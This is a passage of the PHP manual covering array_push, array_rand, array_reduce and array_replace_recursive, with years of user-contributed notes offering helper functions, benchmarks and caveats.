    $keys = array_keys($array);
    rsort($keys);
    $newkey = ($key==null)?$keys[0]+1:$key;
    $array[$newkey] = $object;
    return $newkey;
}
oneill at c dot dk 03-Jun-2005 10:50
To insert a value into a non-associative array, I find this simple function does the trick:

function insert_in_array_pos($array, $pos, $value)
{
  $result = array_merge(array_slice($array, 0 , $pos), array($value), array_slice($array,  $pos));
  return $result;
}

Seems an awful lot simpler than the iterative solutions given above...
aaron dot hawley at uvm dot edu 27-May-2005 08:36
Skylifter notes on 20-Jan-2004 that the [] empty bracket notation does not return the array count as array_push does.  There's another difference between array_push and the recommended empty bracket notation.

Empy bracket doesn't check if a variable is an array first as array_push does.  If array_push finds that a variable isn't an array it prints a Warning message if E_ALL error reporting is on.

So array_push is safer than [], until further this is changed by the PHP developers.
josh at digitalfruition dot com 14-Feb-2005 07:17
Note that array_push() will, as described, return the COUNT of the array after adding a new item, not necessarily the INDEX of that new item:

<?php
$array = array(3 => 'three', 5 => 'five');

echo "\$array = ";
print_r($array);
echo "\n\n";

$to_push = array(1,2,4,);
foreach($to_push as $var)
{
    echo "calling array_push(\$array,$var); retval is ";
    echo array_push($array,$var);
    echo "\n";
}

echo "\$array = ";
print_r($array);
?>

The output of above is:

$array = Array
(
    [3] => three
    [5] => five
)

calling array_push($array,1); retval is 4
calling array_push($array,2); retval is 5
calling array_push($array,4); retval is 6
$array = Array
(
    [3] => three
    [5] => five
    [7] => seven
    [8] => 1
    [9] => 2
    [10] => 4
)

Notice how when array_push($array,1) was called, the new element has a key of 8 but array_push() returns 4.
andrew at cgipro dot com 03-Feb-2005 12:18
Need a real one-liner for adding an element onto a new array name?

$emp_list_bic = $emp_list + array(c=>"ANY CLIENT");

CONTEXT...
drewdeal: this turns out to be better and easier than array_push()
patelbhadresh: great!... so u discover new idea...
drewdeal: because you can't do:   $emp_list_bic = array_push($emp_list, c=>"ANY CLIENT");
drewdeal: array_push returns a count and affects current array.. and does not support set keys!
drewdeal: yeah. My one-liner makes a new array as a derivative of the prior array
aron 24-Feb-2004 11:48
The problem with array_push is that it is pass by value.  If you are dealing with objects whose inner state may change at any time, you need a push and pop who return the actual objects, rather than copies of them.
After some difficulty and board assistance, I have these methods.  I've tested them, and they seem to work fine.

<?php
function push(&$array, &$object){
    $array[] =& $object;
}
function & pop(&$array){
    return array_pop($array);
}

// [Test Code]
class TestObject{
    var $value = 0;
    function getValue(){
        return $this->value;
    }
    function setValue($mixed){
        $this->value = $mixed;
    }
}
$myarr = array();
$tmp =& new TestObject();
$tmp2 =& new TestObject();
$tmp->setValue(2);
$tmp2->setValue(3);

push($myarr, $tmp);
push($myarr, $tmp2);
$tmp->setValue(4);
$tmp2->setValue(6);
$val = pop($myarr);
print "popped value: ".$val->getValue()."<br />";

print "values in internal array: <br />";
foreach ($myarr as $key=>$value){
    print "key: $key, object: $value, value: ";
    print  $value->getValue()."<br />";
}
// [/TestCode]
?>
skiflyer 21-Jan-2004 01:05
However, don't forget that array_push() does more than [], it also performs a count and returns the value.

Modifying your code ever so slightly (see below), this puts array_push in the lead (not suprisingly).  So my conclusion would be that if I care about the number of elements in the array, then I'd use array_push(), if I don't (which is usually the case), then I'd use the [] method.

Results...
[] method: 0.34943199
push method: 0.31505919
difference: -0.03437280

Modified section of code...
$s_test_begin = FullMicroTime();
for($i = 0; $i <= 50000; $i++) { $num_tot = array_push($test2, $i); }
$s_test_end = FullMicroTime();

$f_test_begin = FullMicroTime();
for($i = 0; $i <= 50000; $i++) { $test[] = $i; $num_tot = count($test); }
$f_test_end = FullMicroTime();
daevid at daevid dot com 17-Feb-2003 05:38
Sadly, array_push() does not create an array if the array doesn't exist.  So if you're pushing the first element onto an array, you need to check and create it manually...

<?php
if ( !is_array($myArray) ) $myArray= array();
array_push($myArray, $myElement);
?>
bart at framers dot nl 27-Sep-2001 01:16
Array_push also works fine with multidimensional arrays. Just make sure the element is defined as an array first.

<?php
$array["element"][$element]["element"] = array();
array_push ($array["element"][$element]["element"], "banana");
?>


Pick one or more random entries out of an array

  • « array_push
  • array_reduce »
  • PHP Manual
  • Array Functions
  • Pick one or more random entries out of an array

array_rand

(PHP 4, PHP 5)

array_rand — Pick one or more random entries out of an array

Description

mixed array_rand ( array $array [, int $num = 1 ] )

Picks one or more random entries out of an array, and returns the key (or keys) of the random entries.

Parameters

array

The input array.

num

Specifies how many entries should be picked.

Return Values

When picking only one entry, array_rand() returns the key for a random entry. Otherwise, an array of keys for the random entries is returned. This is done so that random keys can be picked from the array as well as random values. Trying to pick more elements than there are in the array will result in an E_WARNING level error, and NULL will be returned.

Changelog

Version | Description
5.2.10 | The resulting array of keys is no longer shuffled.

Examples

Example #1 array_rand() example

<?php
$input = array("Neo", "Morpheus", "Trinity", "Cypher", "Tank");
$rand_keys = array_rand($input, 2);
echo $input[$rand_keys[0]] . "\n";
echo $input[$rand_keys[1]] . "\n";
?>

See Also

  • shuffle() - Shuffle an array

User Contributed Notes

BenedictLemieux at gmail dot com 14-Sep-2014 12:31
Two things always bugged me with array_rand().

First is its name. It does not sound clear enough whether it gives key or values.

Second and more importantly is its erratic randomness, which is already well documented.

That is why I came up with these two simple functions:

<?php
function random_key($array){
    $keys=array_keys($array);
    return $keys[mt_rand(0, count($keys) - 1)];
}
function random_value($array){
    $values=array_values($array);
    return $values[mt_rand(0, count($values) - 1)];
}
?>

They both work well with any kind of arrays, do not alter the original one like shuffle, are giving more realistic random results, and their names are self describing.

The main drawback is that, as opposed to array_rand, they only gives one element, but at least that is clear from their name. I do believe easy to make random_keys and random_values.
marco at behnke dot biz 12-Sep-2014 10:52
Is there a difference in randomness if you use shuffle instead?

<?php
function array_shuffle($input, $num_of_results) {
    shuffle($input);
    return array_chunk($input, $num_of_results, true)[0];
}

$input = array("Neo", "Morpheus", "Trinity", "Cypher", "Tank");
var_dump(array_shuffle($input, 2));

/*
array(2) {
  [0]=>
  string(3) "Neo"
  [1]=>
  string(8) "Morpheus"
}
*/
?>

And yes, I know that my example returns a portion of the array and not just the key numbers
john at brahy dot com 08-May-2014 08:00
if you want random elements from an array, this worked pretty well for me.

<?php
//using shuffle randomizes the order of elements

function get_random_elements( $array,$limit = 0 ) {

    shuffle($array);

    if ( $limit > 0 ) {
        $array = array_splice($array, 0, $limit);
    }
    return $array;
}
?>
nospamplease at mail dot com 13-Aug-2013 11:18
Random choice with a closure.

$randomChoice  = function($array) {return $array[array_rand($array)];};

$names = ['Dexter', 'Esther', 'David', 'Richard', 'Rachel', 'Belinda'];

echo $randomChoice($names);
Jordan Doyle 19-May-2013 06:49
Note: array_rand uses the libc generator, which is slower and less-random than Mersenne Twister.

<?php
    $a = ['http://php.net/', 'http://google.com/', 'http://bbc.co.uk/'];

    $website = $a[mt_rand(0, count($a) - 1)];
?>

This is a better alternative.
Anonymous 13-Jul-2012 11:42
It doesn't explicitly say it in the documentation, but PHP won't pick the same key twice in one call.
qeremy 07-Mar-2012 10:18
An example for getting random value from arrays;

<?php
function array_random($arr, $num = 1) {
    shuffle($arr);

    $r = array();
    for ($i = 0; $i < $num; $i++) {
        $r[] = $arr[$i];
    }
    return $num == 1 ? $r[0] : $r;
}

$a = array("apple", "banana", "cherry");
print_r(array_random($a));
print_r(array_random($a, 2));
?>

cherry
Array
(
    [0] => banana
    [1] => apple
)

And example for getting random value from assoc arrays;

<?php
function array_random_assoc($arr, $num = 1) {
    $keys = array_keys($arr);
    shuffle($keys);

    $r = array();
    for ($i = 0; $i < $num; $i++) {
        $r[$keys[$i]] = $arr[$keys[$i]];
    }
    return $r;
}

$a = array("a" => "apple", "b" => "banana", "c" => "cherry");
print_r(array_random_assoc($a));
print_r(array_random_assoc($a, 2));
?>

Array
(
    [c] => cherry
)
Array
(
    [a] => apple
    [b] => banana
)
Sebmil 05-Aug-2011 09:18
Looks like this function has a strange randomness.

If you take any number of elements in an array which has 40..100 elements, the 31st one is always by far the less occuring (by about 10% less than others).

I tried this piece of code at home (PHP Version 5.3.2-1ubuntu4.9) and on my server (PHP Version 5.2.17), unfortunately i haven't any server with the last version here :

<?php
$valeurs = range(1, 40);
$proba = array_fill(1, 40, 0);
for ($i = 0; $i < 10000; ++$i)
{
    $tirage_tab = array_rand($valeurs, 10);
    foreach($tirage_tab as $key => $value)
    {
        $proba[$valeurs[$value]]++;
    }
}

asort($proba);
echo "Proba : <br/>\n";
foreach($proba as $key => $value)
{
    echo "$key : $value<br/>\n";
}
?>

In every try, the number of occurrences change a bit but the 31 is always far less (around 2200) than the others (2400-2600). I tried with 50 and 100 elements, no change. I tried with more or less elements to pick (second parameter to array_rand), same result. If you pick only one element it's even worse : 31 has half the result of the others.

For this particular case, i recommend shuffling the array and taking the nth first elements, in this test it's 60% faster and the statistics are ok.
Anonymous 02-Oct-2009 10:04
If the array elements are unique, and are all integers or strings, here is a simple way to pick $n random *values* (not keys) from an array $array:

<?php array_rand(array_flip($array), $n); ?>
info at pavliga dot com 28-Dec-2008 10:52
If you want get unique range:

<?php
$n = 15;

$data = range(1, 20);
$rand = array_rand($data,$n);

for($i=0; $i<$n; $i++)
{
echo $rand[$i]."<br>";
}

?>
admin at jeremyzaretski dot com 15-Dec-2008 05:11
<?php
// a foreach friendly version of array_rand
function Select_Random_Indices($source_array, $count = 1)
{
    if($count > 0)
    {
        if($count == 1)
        {
            $result = array(array_rand($source_array, $count));
        }
        else
        {
            $result = array_rand($source_array, $count);
        }
    }
    else
    {
        $result = array();
    }

    return $result;
}

// using the above function to pick random values instead of entries
function Select_Random_Entries($source_array, $count = 1)
{
    $result = array();
    $index_array = Select_Random_Indices($source_array, $count);

    foreach($index_array as $index)
    {
        $result[$index] = $source_array[$index];
    }

    return $result;
}
?>
herodesh [-at_] gmail [-dot-] com 05-Sep-2007 12:36
this is to generate a random selection from an array with array_rand preety nice, can be used to generate random passwords or anything:

$my_array = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "0", "1", "2", "3", "4", "5");
        for ($i=0; $i<=10; $i++)
        {
            $random = array_rand($my_array);
                        //this generates the random number from the array
            $parola .= $my_array[$random];
                        //here we will display the exact charachter from the array
        }
        echo $parola; // printing result
Frederick Lemasson aka djassper at gmail 04-Dec-2006 09:57
To select a random Value (not a Key) from a Multi-Dimentionnal array I made a recursive function : array_multi_rand()

the following exemple randomly selects an url from a multidimentionnal array :

<?

$Expos['Google']['Science']='news.google.fr/news?topic=t';
$Expos['Google']['Economie']='news.google.fr/news?topic=b';
$Expos['Google']['Sante']='news.google.fr/news?topic=m';
$Expos['Yahoo']='fr.news.yahoo.com';
$Expos['Events']['LogicielLibre']='agendadulibre.org';
$Expos['MyBlog']='www.kik-it.com';

function array_multi_rand($Zoo){
    $Boo=array_rand($Zoo);
    if(is_array($Zoo[$Boo])){
        return array_multi_rand($Zoo[$Boo]);
    }else{
        return $Zoo[$Boo];
    }
}

echo(array_multi_rand($Expos));

?>
JS 04-Sep-2006 12:07
I wanted to write something that picks a random entry from a 1column-MySQL database - simply Post Of The Moment (potm). I know there surly are many better ways to do it, but I`m rather new to PHP :)  Anyway, it`s simple and no-problem working code.
Of course I assume your DB exists and you always have something in it.

@$link = MySQL_Connect("localhost", "username", "password"); //connect to mysql
mySQL_Select_DB("database"); //..to DB
@$potms = MySQL_Query("SELECT * FROM potm"); //now we get all from our table and store it
MySQL_Close($link); //there`s no need for connection, so we should close it

$potm_array = ''; //sets variables to "zero" values
$i = 0;
while ($entry = MySQL_Fetch_Array($potms)) //now we go through our DB
       {
         $potm_array[$i] = $entry; //our temporary array from which we will random pick a field key
         $i++; //now we increment our field key
       }

$potm_id = array_rand($potw_array); //picks a random key from array
$potm = $potm_array[$potm_id]['name_of_the_field']; //now we have stored our Post Of The Moment in $potm

..hope this helps
dragonfly at dragonflyeye dot net 07-Jul-2006 04:57
Well, this is interesting.   I don't see anyone else commenting on this, so just in case you were planning to use this function like I was, be prepared: array_rand does not handle multidimensional arrays.  It just ends up returning a list of the X-axis values without the Y-axis arrays.  Bummer.  I'm going to have to find another way to do what I wanted.
trukin at gmail dot com 16-Mar-2006 10:23
Modify of last note:
<?php
if (!function_exists('array_rand')) {
    function array_rand($array, $lim=1) {
        mt_srand((double) microtime() * 1000000);
        for($a=0; $a<=$lim; $a++){
            $num[] = mt_srand(0, count($array)-1);
        }
        return @$num;
    }
}
?>

mt_rand generates a better random number, and with the limit.
Will-ster 02-Jan-2006 01:18
This is something I have been playing with for quite awhile. I'm very new to php, but i finally got it to work. it's a function that will take and array[$arrquo] and find a particular keyword[$find] in the different elements of the array then take those elements that posess that keyword and display them at random

<?php
function popbyword($arrquo,$find)
{
$newarr = array('');
 foreach($arrquo as $line)
 {
  if( strstr( $line, $find ) )
  {
    array_push($newarr, $line);

  }
 }
srand((double)microtime()*1000000);
$rquote = array_rand($newarr);
echo $newarr[$rquote];
}

popbyword($images, 'Albert');
?>

In my case I had this huge array of quotes with 90 some elements. I was able to find certain keywords in those elements then ONLY display the elements that had those keywords. NEAT! Maybe only because I'm new.
bjcffnet at gmail dot com 30-Aug-2005 01:29
As wazaawazaa600 at msn dot com pointed out, a multi-dimensional array doesn't work with this function. So, I hope I can help someone with this :)

<?php
/**
 * Returns a number of random elements from an array.
 *
 * It returns the number (specified in $limit) of elements from
 * $array. The elements are returned in a random order, exactly
 * as it was passed to the function. (So, it's safe for multi-
 * dimensional arrays, aswell as array's where you need to keep
 * the keys)
 *
 * @author Brendan Caffrey  <bjcffnet at gmail dot com>
 * @param  array  $array  The array to return the elements from
 * @param  int    $limit  The number of elements to return from
 *                            the array
 * @return array  The randomized array
 */
function array_rand_keys($array, $limit = 1) {
    $count = @count($array)-1;

    // Sanity checks
    if ($limit == 0 || !is_array($array) || $limit > $count) return array();
    if ($count == 1) return $array;

    // Loop through and get the random numbers
    for ($x = 0; $x < $limit; $x++) {
        $rand = rand(0, $count);

        // Can't have double randoms, right?
        while (isset($rands[$rand])) $rand = rand(0, $count);

        $rands[$rand] = $rand;
    }

    $return = array();
    $curr = current($rands);

    // I think it's better to return the elements in a random
    // order, which is why I'm not just using a foreach loop to
    // loop through the random numbers
    while (count($return) != $limit) {
        $cur = 0;

        foreach ($array as $key => $val) {
            if ($cur == $curr) {
                $return[$key] = $val;

                // Next...
                $curr = next($rands);
                continue 2;
            } else {
                $cur++;
            }
        }
    }

    return $return;
}
?>
alexkropivko at(dog) yandex dot ru 16-Jun-2005 03:21
There was a mistake at "Paul Hodel (paul at ue dot com dot br) 17-Apr-2003 04:40":
String
echo $new_input = $input[$v];

have to be:
echo $new_input[] = $input[$v];
maxnamara at yahoo dot com 13-Mar-2005 12:22
<?php
$input = array("Neo", "Morpheus", "Trinity", "Cypher", "Tank");

function my_array_rand($input,$i=2){
srand((float) microtime() * 10000000);

$rand_keys = array_rand($input, $i);

/*
print $input[$rand_keys[0]] . "\n";
print $input[$rand_keys[1]] . "\n";
*/

$res = array();

if($i > 1){

for($a=0;$a<$i;$a++){

    $res[] = $input[$rand_keys[$a]];

}

}
else{

    $res[] = $input[$rand_keys];

}

return $res;
}

$a = my_array_rand($input,3);
echo "<pre>";
print_r($a);
echo "</pre>";
?>
yhoko at yhoko dot com 28-Aug-2004 03:16
According to office at at universalmetropolis dot com I have to say that the example is wrong.

<?php
// retrieve one of the options at random from the array
$teamcolours = $teamcolours[rand(0,count($teamcolours))];
?>

The count() function will return the number of items in the array, that's the last index + 1. So if there's 2 items in the array, count() will return 2 but the indices are 0 and 1. Now since rand(x,y) randomizes between x and y inclusively the index from the above example may be out of bounds. Thus you have to subtract 1 from the count:

<?php
    // Get random item
    $teamcolours = $teamcolours[rand(0,count($teamcolours)-1)];
?>
jpinedo 02-Nov-2003 10:15
An array of arrays example:

<?php
$banners[0]['imagen']="imagen0.gif";
$banners[0]['url']="www.nosenada.tal";

$banners[1]['imagen']="imagen1.gif";
$banners[1]['url']="www.nose.tal";

$banners[2]['imagen']="imagen2.gif";
$banners[2]['url']="pagina.html";

$banners[3]['imagen']="imagen3.jpg";
$banners[3]['url']="../pagina.php";

$id_banner = array_rand($banners);

echo  "Archivo:--".$banners[$id_banner]['imagen']. "<br />\n";
echo  "URL:-----".$banners[$id_banner]['url']. "<br />\n";
?>
asarnoNOSPAM@interbaun DOT com 24-Jun-2003 08:06
It is correct that using array_rand() with num_req=1 will return an integer and not an array, but why get so complicated with getting just the one value.  The K.I.S.S. method would suggest to do it this way:

<?
srand((double)microtime() * 10000000);
$originalArray = array("red", "blue", "green", "brown",
"cyan", "magenta", "purle", "cheezy");
$pickOne = array_rand($originalArray, 1);
$aRandomSelection = $originalArray[$pickOne ];
echo "$aRandomSelection was the random selection made";
?>

You only need to use the foreach if the num_req >=2. In those cases the array_rand() function will return an array of random elements which are a subset of the original array.  When num_req = 1, the array_rand() function returns an integer that signifies a randomly picked key of the original array.  Hope this clarifies things ... it works for me.
Paul Hodel (paul at ue dot com dot br) 17-Apr-2003 10:40
If you trying to get a randon array just use that... it's easier! And you have no repeats...

<?

srand ((float) microtime() * 10000000);

$input = array ("Neo", "Morpheus", "Trinity", "Cypher", "Tank");

$keys = array_rand ($input, sizeof($input));

while (list($k, $v) = each($keys))
{
    echo $new_input = $input[$v];
}

?>
scandar at home dot se 13-Apr-2003 06:58
Note that the int num_req parameter is the required number of element to randomly select. So if your array has 3 element and num_req=4 then array_rand() will not return anything since it is impossible to select 4 random elements out of an array that only contains 3 elements. Many people think that they will get 3 elements returned but that is of course not the case.
mickoz[at]parodius[dot]com 02-Dec-2002 05:28
For those of you thinking that it does not work for num_req = 1, it is because it return a variable and not an array.  This mainly cause some problem with people using foreach.

The correct way to handle this is explained by that example:

<?php
$some_array = array("blah","bleh","foo","lele");

$nb_value = 1;

srand ((float) microtime() * 10000000);
$rand_keys = array_rand($some_array, $nb_value);

if(!is_array($rand_keys))
{
  $rand_keys = array($rand_keys);
}

print_r($rand_keys); // verify here the array of keys
echo "\n<BR>";
?>

// You can then correctly use the foreach, as it require an array to work
// If you use foreach with one element, it won't work.

<?php
$random_array = array();

foreach($rand_keys as $value)
{
  array_push($random_array, $some_array[$value]);
}

print_r($random_array);
?>
josh at 3io dot com 15-Jun-2002 12:20
I modified fake_array_rand to always only return 1 element, and did some benchmarks against calling array_rand with the second parameter as 1.  I ran 100 samples for each function for each number of elements and took the average result.  While the internal array_rand is faster for a small number of elements, it scales very poorly.

1 elements: 2.0619630813599E-05 sec. for array_rand,8.4352493286133E-05 sec. for fake_array_rand
10 elements: 2.1675825119019E-05 sec. for array_rand,8.427619934082E-05 sec. for fake_array_rand
100 elements: 2.9319524765015E-05 sec. for array_rand,8.4599256515503E-05 sec. for fake_array_rand
1000 elements: 0.0001157283782959 sec. for array_rand,8.5572004318237E-05 sec. for fake_array_rand
10000 elements: 0.0016669762134552 sec. for array_rand,8.5201263427734E-05 sec. for fake_array_rand
100000 elements: 0.015599734783173 sec. for array_rand,8.5580348968506E-05 sec. for fake_array_rand
1000000 elements: 0.18011983394623 sec. for array_rand,8.6690187454224E-05 sec. for fake_array_rand

<?php
function fake_array_rand ($array)
{
        $count = count ($array);
        # Help keep the number generator random :)
        $randval and usleep ("0.$randval");

        # Seed the random number generator
        # Generate a random number
        srand ((double) microtime() * 10000000);
        $randval = rand();

        # Use the random value to 'pick' an entry from the array
        # Count the number of times that the entry is picked
        ++$index[$randval % $count];

        return $array[$randval % $count];
}
?>
uvm at sun dot he dot net 10-Jul-2001 03:09
If you're just trying to draw a random subset of n elements from an array, it seems more effecient to do something like this:

<?php
function draw_rand_array($array,$draws)
{
        $lastIndex = count($array) - 1;
        $returnArr = array();
        while($draws > 1)
        {
                $rndIndex = rand(0,$lastIndex);
                array_push($returnArr,array_splice($array,$rndIndex,1));
                $draws--;
                $lastIndex--;
        }

        return $returnArr;
}
?>

No messing with indexes when you're done... you just have an array with the elements you're looking for in it.


Iteratively reduce the array to a single value using a callback function

  • « array_rand
  • array_replace_recursive »
  • PHP Manual
  • Array Functions
  • Iteratively reduce the array to a single value using a callback function

array_reduce

(PHP 4 >= 4.0.5, PHP 5)

array_reduce — Iteratively reduce the array to a single value using a callback function

Description

mixed array_reduce ( array $array , callable $callback [, mixed $initial = NULL ] )

array_reduce() applies iteratively the callback function to the elements of the array, so as to reduce the array to a single value.

Parameters

array

The input array.

callback
mixed callback ( mixed $carry , mixed $item )
carry

Holds the return value of the previous iteration; in the case of the first iteration it instead holds the value of initial.

item

Holds the value of the current iteration.

initial

If the optional initial is available, it will be used at the beginning of the process, or as a final result in case the array is empty.

Return Values

Returns the resulting value.

If the array is empty and initial is not passed, array_reduce() returns NULL.

Changelog

Version | Description
5.3.0 | Changed initial to allow mixed, previously integer.

Examples

Example #1 array_reduce() example

<?php
function sum($carry, $item)
{
    $carry += $item;
    return $carry;
}

function multiplication($carry, $item)
{
    $carry *= $item;
    return $carry;
}

$a = array(1, 2, 3, 4, 5);
$x = array();

var_dump(array_reduce($a, "sum")); // int(15)
var_dump(array_reduce($a, "multiplication", 10)); // int(1200), because: 10*1*2*3*4*5
var_dump(array_reduce($x, "sum", "No data to reduce")); // string(17) "No data to reduce"
?>

See Also

  • array_filter() - Filters elements of an array using a callback function
  • array_map() - Applies the callback to the elements of the given arrays
  • array_unique() - Removes duplicate values from an array
  • array_count_values() - Counts all the values of an array

User Contributed Notes

aiadfaris at yahoo dot de 30-May-2014 05:16
notice to function array_reduce()
I suppose the function rsum in the example 1 so it is not correct,
but
$ v + = $ w;
will output 15
aiadfaris at yahoo dot de 30-May-2014 05:14
notice to function array_reduce()
I suppose the function rsum in the example 1 so it is not correct,
but
$ v + = $ w;
will output 15
magnesium dot oxide dot play+php at gmail dot com 11-Apr-2014 02:27
You can reduce a two-dimensional array into one-dimensional using array_reduce and array_merge. (PHP>=5.3.0)

<?php

$two_dimensional = array();
$two_dimensional['foo'] = array(1, 2, 3);
$two_dimensional['bar'] = array(4, 5, 6);

$one_dimensional = array_reduce($two_dimensional, 'array_merge', array());
# becomes array(1, 2, 3, 4, 5, 6)
Altreus 26-Feb-2014 11:30
You can effectively ignore the fact $result is passed into the callback by reference. Only the return value of the callback is accounted for.

<?php

$arr = [1,2,3,4];

var_dump(array_reduce(
    $arr,
    function(&$res, $a) { $res += $a; },
    0
));

# NULL

?>

<?php

$arr = [1,2,3,4];

var_dump(array_reduce(
    $arr,
    function($res, $a) { return $res + $a;  },
    0
));

# int(10)
?>

Be warned, though, that you *can* accidentally change $res if it's not a simple scalar value, so despite the examples I'd recommend not writing to it at all.
kon 03-Dec-2012 10:12
Walking down related object's properties using array_reduce:

<?php
  $a=new stdClass;
  $a->b=new stdClass;
  $a->b->c="Hello World!\n";

  $reductionPath=array("b","c");

  print_r(
    array_reduce(
      $reductionPath,
      function($result, $item){
        return $result->$item;
      },
      $a
    )
  );
?>
ruslan dot zavackiy at gmail dot com 06-Jul-2012 05:29
If you want something elegant in your code, when dealing with reducing array, just unshift first element, and use it as initial, because if you do not do so, you will + first element with first element:

<?php
$arr = array(
    array('min' => 1.5456, 'max' => 2.28548, 'volume' => 23.152),
    array('min' => 1.5457, 'max' => 2.28549, 'volume' => 23.152),
    array('min' => 1.5458, 'max' => 2.28550, 'volume' => 23.152),
    array('min' => 1.5459, 'max' => 2.28551, 'volume' => 23.152),
    array('min' => 1.5460, 'max' => 2.28552, 'volume' => 23.152),
);

$initial = array_shift($arr);

$t = array_reduce($arr, function($result, $item) {
    $result['min'] = min($result['min'], $item['min']);
    $result['max'] = max($result['max'], $item['max']);
    $result['volume'] += $item['volume'];

    return $result;
}, $initial);
?>
php at keith tyler dot com 19-Apr-2010 12:30
If you do not provide $initial, the first value used in the iteration is NULL. This is not a problem for callback functions that treat NULL as an identity (e.g. addition), but is a problem for cases when NULL is not identity (such as boolean context).

Compare:

<?php
function andFunc($a, $b) {
  return $a && $b;
}
$foo = array(true, true, true);
var_dump(array_reduce($foo, "andFunc"));
?>

returns false! One would expect that it would return true because `true && true && true == true`!

Adding diagnostic output to andFunc() shows that the first call to andFunc is with the arguments (NULL, true). This resolves to false (as `(bool) null == false`) and thereby corrupts the whole reduction.

So in this case I have to set `$initial = true` so that the first call to andFunc() will be (true, true). Now, if I were doing, say, orFunc(), I would have to set `$initial = false`. Beware.

Note that the "rmul" case in the example sneakily hides this defect! They use an $initial of 10 to get `10*1*2*3*4*5 = 12000`. So you would assume that without an initial, you would get `1200/10 = 120 = 1*2*3*4*5`. Nope! You get big fat zero, because `int(null)==0`, and `0*1*2*3*4*5 = 0`!

I don't honestly see why array_reduce starts with a null argument. The first call to the callback should be with arguments ($initial[0],$initial[1]) [or whatever the first two array entries are], not (null,$initial[0]). That's what one would expect from the description.

Incidentally this also means that under the current implementation you will incur `count($input)` number of calls to the callback, not `count($input) - 1` as you might expect.
Hayley Watson 23-Oct-2007 11:49
To make it clearer about what the two parameters of the callback are for, and what "reduce to a single value" actually means (using associative and commutative operators as examples may obscure this).

The first parameter to the callback is an accumulator where the result-in-progress is effectively assembled. If you supply an $initial value the accumulator starts out with that value, otherwise it starts out null.
The second parameter is where each value of the array is passed during each step of the reduction.
The return value of the callback becomes the new value of the accumulator. When the array is exhausted, array_reduce() returns accumulated value.

If you carried out the reduction by hand, you'd get something like the following lines, every one of which therefore producing the same result:
<?php
array_reduce(array(1,2,3,4), 'f',         99             );
array_reduce(array(2,3,4),   'f',       f(99,1)          );
array_reduce(array(3,4),     'f',     f(f(99,1),2)       );
array_reduce(array(4),       'f',   f(f(f(99,1),2),3)    );
array_reduce(array(),        'f', f(f(f(f(99,1),2),3),4) );
f(f(f(f(99,1),2),3),4)
?>

If you made function f($v,$w){return "f($v,$w)";} the last line would be the literal result.

A PHP implementation might therefore look something like this (less details like error checking and so on):
<?php
function array_reduce($array, $callback, $initial=null)
{
    $acc = $initial;
    foreach($array as $a)
        $acc = $callback($acc, $a);
    return $acc;
}
?>
yuki [dot] kodama [at] gmail [dot] com 31-Jan-2007 05:56
This code will reduce array deeply.

<?php
function print_s($s) {
    return is_null($s) ? "NULL" : (is_array($s) ? "Array" : ($s ? "TRUE" : "FALSE"));
}
function r_and_dp($a, $b) {
    echo "phase1:" . print_s($a) . "," . print_s($b) . "<br>\n";
    if(is_array($a)) {
        $a = array_reduce($a, "r_and_dp");
    }
    if(is_array($b)) {
        $b = array_reduce($b, "r_and_dp");
    }
    echo "phase2:" . print_s($a) . "," . print_s($b) . "<br>\n";
    $a = is_null($a) ? TRUE : $a;
    $b = is_null($b) ? TRUE : $b;
    echo "phase3:" . print_s($a) . "," . print_s($b) . "<br>\n";
    return $a && $b;
}
$bools = array(TRUE, array(FALSE, TRUE), TRUE);
echo print_s(array_reduce($bools, "r_and_dp")) . "<br>\n";

// result: FALSE
?>

When using boolean, you have to carefully set an "initial" argument.

<?php
function r_or_dp($a, $b) {
    if(is_array($a)) {
        $a = array_reduce($a, "r_or_dp");
    }
    if(is_array($b)) {
        $b = array_reduce($b, "r_or_dp");
    }
    return (is_null($a) ? FALSE : $a) || (is_null($b) ? FALSE : $b);
}
?>
bdechka at yahoo dot ca 10-Jan-2007 09:57
The above code works better this way.

<?php
function reduceToTable($html, $p) {
   $html .= "<TR><TD><a href=\"$p.html\">$p</a></td></tr>\n";
   return $html;
}

$list = Array("page1", "page2", "page3");

$tab = array_reduce($list, "reduceToTable");
echo "<table>".$tab . "</table>\n";
?>
Seanj.jcink.com 05-Jan-2006 03:23
The code posted below by bishop to count the characters of an array is simply... erm... well useless to me...

$array=Array("abc","de","f");
strlen(implode("",$array)); //6

works; and is much smaller. Probably much faster too.


Replaces elements from passed arrays into the first array recursively

  • « array_reduce
  • array_replace »
  • PHP Manual
  • Array Functions
  • Replaces elements from passed arrays into the first array recursively

array_replace_recursive

(PHP 5 >= 5.3.0)

array_replace_recursive — Replaces elements from passed arrays into the first array recursively

Description

array array_replace_recursive ( array $array1 , array $array2 [, array $... ] )

array_replace_recursive() replaces the values of array1 with the same values from all the following arrays. If a key from the first array exists in the second array, its value will be replaced by the value from the second array. If the key exists in the second array, and not the first, it will be created in the first array. If a key only exists in the first array, it will be left as is. If several arrays are passed for replacement, they will be processed in order, the later array overwriting the previous values.

array_replace_recursive() is recursive : it will recurse into arrays and apply the same process to the inner value.

When the value in array1 is scalar, it will be replaced by the value in array2, may it be scalar or array. When the value in array1 and array2 are both arrays, array_replace_recursive() will replace their respective value recursively.

Parameters

array1

The array in which elements are replaced.

array2

The array from which elements will be extracted.

...

Optional. More arrays from which elements will be extracted.

Return Values

Returns an array, or NULL if an error occurs.

Examples

Example #1 array_replace_recursive() example

<?php
$base = array('citrus' => array( "orange") , 'berries' => array("blackberry", "raspberry"), );
$replacements = array('citrus' => array('pineapple'), 'berries' => array('blueberry'));

$basket = array_replace_recursive($base, $replacements);
print_r($basket);

$basket = array_replace($base, $replacements);
print_r($basket);
?>

The above example will output:

Array
(
    [citrus] => Array
        (
            [0] => pineapple
        )

    [berries] => Array
        (
            [0] => blueberry
            [1] => raspberry
        )

)
Array
(
    [citrus] => Array
        (
            [0] => pineapple
        )

    [berries] => Array
        (
            [0] => blueberry
        )

)

Example #2 array_replace_recursive() and recursive behavior

<?php
$base = array('citrus' => array("orange") , 'berries' => array("blackberry", "raspberry"), 'others' => 'banana' );
$replacements = array('citrus' => 'pineapple', 'berries' => array('blueberry'), 'others' => array('litchis'));
$replacements2 = array('citrus' => array('pineapple'), 'berries' => array('blueberry'), 'others' => 'litchis');

$basket = array_replace_recursive($base, $replacements, $replacements2);
print_r($basket);

?>

The above example will output:

Array
(
    [citrus] => Array
        (
            [0] => pineapple
        )

    [berries] => Array
        (
            [0] => blueberry
            [1] => raspberry
        )

    [others] => litchis
)

See Also

  • array_replace() - Replaces elements from passed arrays into the first array
